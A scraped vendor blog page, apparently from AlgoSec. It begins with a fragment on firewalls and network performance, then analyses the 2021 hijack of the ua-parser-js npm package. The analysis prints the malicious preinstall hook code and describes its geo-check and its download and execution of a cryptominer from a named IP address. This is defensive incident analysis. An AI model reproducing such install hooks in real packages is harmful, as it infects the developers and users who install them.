These firewall rules provide application-level protection, preventing hackers from disguising malicious traffic as data from (or for) an application. To perform this kind of inspection, the firewall must know what normal traffic looks like for each application on the network, and be able to match incoming traffic with those applications. Network Performance and Firewalls Firewalls can impact network performance and introduce latency into networks. Optimizing network performance with firewalls is a major challenge in any firewall implementation project. Firewall experts use a few different approaches to reduce latency and maintain fast, reliable network performance: Installing hardware firewalls on high-volume routes helps, since separate physical devices won’t draw computing resources away from other network devices. Using software firewalls in low-volume situations where flexibility is important. Sometimes, being able to quickly configure firewall rules to adapt to changing business conditions can make a major difference in overall network performance. Configuring servers to efficiently block unwanted traffic is a continuous process. Server administrators should avoid overloading firewalls with denied outbound requests that strain firewalls at the network perimeter. Firewall administrators should try to distribute unwanted traffic across multiple firewalls and routers instead of allowing it to concentrate on one or two devices. They should also try reducing the complexity of the firewall rule base and minimize overlapping rules. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... 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As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware. The NPM package... Cloud Security Hijacked NPM Account Leads to Critical Supply Chain Compromise Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/24/21 Published As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware. The NPM package ua-parser-js is used in apps and websites to discover the type of device or browser a person is using from User-Agent data. The author of the package, Faisal Salman – a software developer from Indonesia, has commented about the incident: Hi all, very sorry about this. I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary). I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0 I have sent a message to NPM support since I can’t seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish ) so I can only deprecate them with a warning message. There are more than 2.5 million other repositories that depend on ua-parser-js . Google search “file:ua-parser-js.js” reveals nearly 2 million websites, which indicates the package is popular. As seen in the source code diff , the newly added file package/preinstall.js will check the OS platform. If it’s Windows, the script will spawn a newly added preinstall.bat script. If the OS is Linux, the script will call terminalLinux() function, as seen in the source below: var opsys = process.platform; if ( opsys == "darwin" ) { opsys = "MacOS" ; } else if ( opsys == "win32" || opsys == "win64" ) { opsys = "Windows" ; const { spawn } = require ( 'child_process' ) ; const bat = spawn ( 'cmd.exe' , [ '/c' , 'preinstall.bat' ]) ; } else if ( opsys == "linux" ) { opsys = "Linux" ; terminalLinux () ; } The terminalLinux() function will run the newly added preinstall.sh script. function terminalLinux(){ exec( "/bin/bash preinstall.sh" , (error, stdout, stderr) => { ... }); } The malicious preinstall.sh script first queries an XML file that will report the current user’s geo-location by visiting this URL . For example, for a user located in Australia, the returned content will be: [IP_ADDRESS] AU Australia ... Next, the script searches for the presence of the following country codes in the returned XML file: RU UA BY KZ That is, the script identifies if the affected user is located in Russia, Ukraine, Belarus, or Kazakhstan. Suppose the user is NOT located in any of these countries. In that case, the script will then fetch and execute malicious ELF binary jsextension from a server with IP address 159.148.186.228, located in Latvia. jsextension binary is an XMRig cryptominer with reasonably good coverage by other AV products. Conclusion The compromised ua-parser-js is a showcase of a typical supply chain attack. Last year, Prevasio found and reported a malicious package flatmap-stream in 1,482 Docker container images hosted in Docker Hub with a combined download count of 95M. The most significant contributor was the trojanized official container image of Eclipse. What’s fascinating in this case, however, is the effectiveness of the malicious code proliferation. It only takes one software developer to ignore a simple trick that reliably prevents these things from happening. The name of this trick is two-factor authentication (2FA). About the Country Codes Some people wonder why cybercriminals from Russia often avoid attacking victims outside of their country or other Russian-speaking countries. Some go as far as suggesting it’s for their own legal protection. The reality is way simpler, of course: “Не гадь там, где живешь” “Не сри там, где ешь” “Не плюй в колодец, пригодится воды напиться” Polite translation of all these sayings is: “One should not cause trouble in a place, group, or situation where one regularly finds oneself.” Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call